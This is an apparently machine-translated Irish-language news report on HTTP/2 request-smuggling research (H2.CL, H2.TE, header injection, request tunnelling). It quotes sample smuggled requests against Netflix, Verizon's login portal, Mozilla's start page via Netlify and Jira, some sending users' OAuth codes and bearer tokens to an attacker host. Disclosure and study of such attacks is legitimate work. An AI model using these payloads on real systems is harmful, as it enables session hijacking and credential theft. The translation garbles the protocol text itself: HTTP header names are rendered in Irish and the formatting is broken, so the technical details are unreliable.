Ionsaí nua ar chórais tosaigh-deireadh-innill a ligeann duit ding isteach iarratais

Nochtadh córais Ghréasáin ina nglacann an foirceann tosaigh naisc trí HTTP/2 agus ina dtarchuireann sé chuig an inneall trí HTTP/1.1 iad do leagan nua den ionsaí “Smuigleáil Iarratas HTTP”, a cheadaíonn, trí iarratais cliant saindeartha a sheoladh, chun ding isteach in inneachar na n-iarratas ó úsáideoirí eile a phróiseáiltear sa sreabhadh céanna idir an t-éadan agus an t-inneall. Is féidir an t-ionsaí a úsáid chun cód mailíseach JavaScript a chur isteach i seisiún le suíomh Gréasáin dlisteanach, córais srianta rochtana a sheachbhóthar agus paraiméadair fíordheimhnithe idirghabhála.

Bíonn tionchar ag an bhfadhb ar sheachvótálaithe gréasáin, ar chothromóirí ualaigh, ar luasairí gréasáin, ar chórais seachadta inneachair agus ar chumraíochtaí eile ina n-atreoraítear iarratais ar bhealach tosaigh go ceann. Léirigh údar an staidéir an fhéidearthacht ionsaí a dhéanamh ar chórais Netflix, Verizon, Bitbucket, Netlify CDN agus Atlassian, agus fuair sé 56 míle dollar i gcláir luaíochta chun leochaileachtaí a aithint. Deimhníodh an fhadhb freisin i dtáirgí F5 Networks. Bíonn tionchar ag an bhfadhb go páirteach ar mod_proxy i bhfreastalaí Apache http (CVE-2021-33193), táthar ag súil le socrú sa leagan 2.4.49 (cuireadh fógra do na forbróirí faoin bhfadhb go luath i mí na Bealtaine agus tugadh 3 mhí dóibh chun é a shocrú). In nginx, cuireadh bac ar an gcumas na ceanntásca “Content-Length” agus “Transfer-Ionchódú” a shonrú san eisiúint dheireanach (1.21.1). Tá uirlisí ionsaithe san áireamh cheana féin i bhfoireann uirlisí Burp agus tá siad ar fáil i bhfoirm síneadh Turbo Intruder.

Tá prionsabal oibríochta an mhodha nua chun iarratais a dingeadh isteach sa trácht cosúil leis an leochaileacht a d’aithin an taighdeoir céanna dhá bhliain ó shin, ach tá sé teoranta d’éadanas a ghlacann le hiarratais thar HTTP/1.1. Lig dúinn a thabhairt chun cuimhne go bhfuil i scéim an t-inneall tosaigh, faightear iarratais ó chliaint trí nód breise - an t-éadan, a bhunaíonn nasc TCP fadsaoil leis an inneall, a phróiseálann iarratais go díreach. Tríd an nasc coitianta seo, tarchuirtear iarratais ó úsáideoirí éagsúla de ghnáth, a leanann an slabhra ceann i ndiaidh a chéile, scartha trí phrótacal HTTP.

Bhí an t-ionsaí clasaiceach “Smuigleáil Iarratas HTTP” bunaithe ar an bhfíric go léirmhíníonn tosaigh agus cúl úsáid ceanntásca HTTP “Content-Length” (cinneann sé méid iomlán na sonraí san iarratas) agus “Transfer-Encoding: chunked” (ceadaithe). sonraí le haistriú i gcodanna) ar bhealach difriúil. . Mar shampla, mura dtacaíonn an t-éadanas ach le “Content-Length” ach má dhéanann sé neamhaird ar “Aistriú-Ionchódú: chunnta”, ansin d’fhéadfadh ionsaitheoir iarratas a sheoladh ina mbeadh na ceannteidil “Content-Length” agus “Transfer-Encoding: chunked”, ach is é an méid "Ábhar-Fad" nach bhfuil ag teacht le méid an slabhra smután. Sa chás seo, déanfaidh an t-éadan an t-iarratas a phróiseáil agus a atreorú de réir "Content-Length", agus fanfaidh an t-innill go gcríochnófar an bloc bunaithe ar "Aistriú-ionchódú: chunked" agus fanfaidh an t-eireaball atá fágtha d'iarratas an ionsaitheora bheith ag tús iarratas duine eile a tharchuirfear an chéad uair eile.

Murab ionann agus an prótacal téacs HTTP/1.1, atá parsáilte ag leibhéal na líne, is prótacal dénártha é HTTP/2 agus ionramhálann sé bloic sonraí de mhéid réamhshonraithe. Mar sin féin, úsáideann HTTP/2 ceanntásca bréagacha a fhreagraíonn do cheanntásca rialta HTTP. I gcás idirghníomhaíochta leis an inneall tríd an bprótacal HTTP/1.1, aistríonn an t-éadan tosaigh na ceanntásca bréagacha seo go ceanntásca HTTP cosúla HTTP/1.1. Is í an fhadhb atá ann go ndéanann an t-inneall cinntí maidir le parsáil an tsrutha bunaithe ar na ceanntásca HTTP atá socraithe ag an aghaidh, gan faisnéis a bheith aige faoi pharaiméadair na buniarrata.

Go háirithe, is féidir na luachanna “fad ábhair” agus “ionchódú aistrithe” a tharchur i bhfoirm ceanntásca bréagacha, in ainneoin nach n-úsáidtear iad in HTTP/2, ós rud é go gcinntear méid na sonraí go léir i réimse ar leith. Mar sin féin, le linn an phróisis chun iarratas HTTP/2 a thiontú go HTTP/1.1, tugtar na ceanntásca seo anonn agus féadann siad mearbhall a chur ar an inneall. Tá dhá phríomhathraithe ionsaithe ann: H2.TE agus H2.CL, ina gcuirtear an t-inn amú le luach aistrithe-ionchódaithe mícheart nó fad ábhair nach gcomhfhreagraíonn do mhéid iarbhír an chomhlachta iarratais a fhaigheann an t-éadan tríd an Prótacal HTTP/2.

Ionsaí nua ar chórais tosaigh-deireadh-innill a ligeann duit ding isteach iarratais

Sampla d’ionsaí H2.CL is ea méid mícheart a shonrú sa pseudo-header ar fhad ábhair agus iarratas HTTP/2 á sheoladh chuig Netflix. Mar thoradh ar an iarratas seo cuirtear ceannteideal HTTP comhchosúil le Ábhar-Fad nuair a dhéantar rochtain ar an inneall trí HTTP/1.1, ach ós rud é go sonraítear an méid san Ábhar-Fad níos lú ná an ceann iarbhír, déantar cuid de na sonraí san eireaball a phróiseáil mar an tús an chéad iarratas eile.

Mar shampla, iarr HTTP/2 : modh POST : cosán / n : údarás www.netflix.com ábhar-fad 4 abcdGET / n HTTP/1.1 Óstach: 02.rs?x.netflix.com Foo: bar

Seolfar iarratas chuig an inneall mar thoradh air: POST / n HTTP/1.1 Óstach: www.netflix.com Ábhar-Fad: 4 abcdGET / n HTTP/1.1 Óstach: 02.rs?x.netflix.com Foo: bar

Ós rud é go bhfuil luach 4 ag Ábhar-Fad, ní ghlacfaidh an t-inneall ach le “abcd” mar chorp an iarratais, agus próiseálfar an chuid eile de “GET / n HTTP/1.1...” mar thús iarratais ina dhiaidh sin a bhaineann le húsáideoir eile. Dá réir sin, déanfar an sruth a dhíshioncronú agus mar fhreagra ar an gcéad iarratas eile, eiseofar an toradh ar phróiseáil an iarratais chaocha. I gcás Netflix, d’fhág gur sonraíodh óstach tríú páirtí sa cheanntásc “Óstríomhaire:” in iarratas caochadán an cliant an freagra “Suíomh: https://02.rs?x.netflix.com/n” agus ceadaíodh ábhar treallach a sheoladh chuig an gcliant, lena n-áirítear Rith do chód JavaScript i gcomhthéacs shuíomh Netflix.

Is éard atá i gceist leis an dara rogha ionsaithe (H2.TE) an ceanntásc “Aistriú-ionchódú: chunked” a chur ina ionad. Tá cosc ​​ar úsáid an bhréag-cheannteidil ionchódaithe aistrithe in HTTP/2 ag an tsonraíocht agus forordaítear go ndéileálfar leis na hiarrataí a ghabhann leis mar iarratais mícheart. Ina ainneoin sin, ní chuireann roinnt feidhmeanna tosaigh an ceanglas seo san áireamh agus ceadaíonn siad úsáid a bhaint as ceanntásc bréagach ionchódaithe aistrithe in HTTP/2, a thiontaítear ina cheanntásc HTTP comhchosúil. Má tá ceanntásc “Aistriú-Ionchódú” ann, is féidir leis an inneall tosaíocht níos airde a thabhairt dó agus na sonraí a pharsáil de réir a chéile sa mhód “chunked” ag baint úsáide as bloic de mhéideanna éagsúla san fhormáid “{size}\r\n{block }\r\n{size} \r\n{block}\r\n0", in ainneoin na roinne tosaigh de réir méid iomlán.

Léiríodh láithreacht bearna den sórt sin le sampla Verizon. Bhain an fhadhb leis an tairseach fíordheimhnithe agus leis an gcóras bainistíochta inneachair, a úsáidtear freisin ar shuíomhanna mar Huffington Post agus Engadget. Mar shampla, iarratas cliant trí HTTP/2: :modh POST :cosán / identitfy/XUI :údarás id.b2b.oath.com aistriú-ionchódú smután 0 GET /oops HTTP/1.1 Óstach: psres.net Ábhar-Fad: 10 x=

Mar thoradh ar seo cuireadh iarratas HTTP/1.1 chuig an inneall: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Ábhar-Fad: 66 Aistriú-Ionchódú: smután 0 GET /oops HTTP/1.1 Óstach: psres. glan Ábhar - Fad: 10x=

Ina dhiaidh sin, rinne an t-inneall neamhaird ar an gceanntásc "Content-Length" agus rinne sé scoilteadh in-srutha bunaithe ar "Ionchódú Aistrithe: Chunked". Go praiticiúil, d'fhág an t-ionsaí gur féidir iarratais úsáideoirí a atreorú chuig a láithreán gréasáin, lena n-áirítear iarratais a idircheapadh a bhaineann le fíordheimhniú OAuth, ar taispeánadh na paraiméadair sa cheanntásc an Referer, chomh maith le seisiún fíordheimhnithe a insamhladh agus córas an úsáideora a spreagadh chun dintiúir a sheoladh chuig ósta an ionsaitheora. GET /b2blanding/show/oops HTTP/1.1 Óstach: psres.net Moltóir: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Óstach: psres.net Údarú: Iompróir eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Chun ionsaí a dhéanamh ar chur i bhfeidhm HTTP/2 nach gceadaíonn an ceanntásc bréagach ionchódaithe aistrithe a shonrú, tá modh eile molta a bhaineann leis an gceanntásc “Aistriú-Ionchódú” a chur in ionad trína cheangal le ceanntásca bréagacha eile atá scartha le carachtar nualíne ( nuair a dhéantar é a thiontú go HTTP/1.1 sa chás seo cruthaítear dhá cheanntásc HTTP ar leith).

Mar shampla, chuir an fhadhb seo isteach ar Atlassian Jira agus Netlify CDN (a úsáidtear chun leathanach tosaigh Mozilla a fhreastal i Firefox). Go sonrach, an t-iarratas HTTP/2 : modh POST :cosán / : údarás start.mozilla.org foo b\r\n aistriú-ionchódú: chunked 0\r\n\r\n GET / HTTP/1.1\r\n Óstach : evil-netlify-domain\r\n Ábhar-Fad: 5\r\n \r\nx=

mar thoradh air seo seoladh iarratas HTTP/1.1 POST / HTTP/1.1 chuig an inneall\r\n Óstach: start.mozilla.org\r\n Foo: b\r\n Aistriú-Ionchódú: chunked\r\n Ábhar-Fad : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Óstach: evil-netlify-domain\r\n Ábhar-Fad: 5\r\n \r \nx=

Rogha eile chun an ceanntásc “Aistriú-Ionchódú” a chur ina ionad ná é a cheangal le hainm ceanntásc bréagach eile nó le líne le modh iarratais. Mar shampla, agus rochtain á fáil agat ar Atlassian Jira, ba é an t-ainm bréagach ceanntásca "foo: bar\r\ntransfer-ioncoding" leis an luach "chunked" ba chúis leis na ceannteidil HTTP "foo:bar" agus "transfer-ioncoding: chunked" a chur leis , agus ag sonrú pseudo-header ": modh" aistríodh luach "GET / HTTP/1.1\r\nTransfer-ioncoding: chunked" go "GET / HTTP/1.1\r\ntransfer-ioncoding: chunked".

Mhol an taighdeoir a d'aithin an fhadhb freisin teicníc tollánaithe iarratais chun aghaidheanna a ionsaí, ina mbunaíonn gach seoladh IP nasc ar leith leis an inneall agus nach bhfuil trácht ó úsáideoirí éagsúla measctha. Ní cheadaíonn an teicníocht atá beartaithe cur isteach ar iarratais ó úsáideoirí eile, ach is féidir taisce comhroinnte a nimhiú a chuireann isteach ar phróiseáil iarrataí eile, agus ceadaíonn sé ceanntásca inmheánacha HTTP a úsáidtear chun faisnéis seirbhíse a aistriú ón aghaidh go dtí an t-inneall a chur in ionad ( mar shampla, nuair a dhéantar fíordheimhniú ar an taobh tosaigh i gceanntásca den sórt sin is féidir faisnéis faoin úsáideoir reatha a tharchur chuig an inneall). Mar shampla den mhodh a chur i bhfeidhm go praiticiúil, ag baint úsáide as nimhiú taisce, bhíothas in ann smacht a fháil ar leathanaigh sa tseirbhís Bitbucket.

Foinse: oscailtenet.ru

Add a comment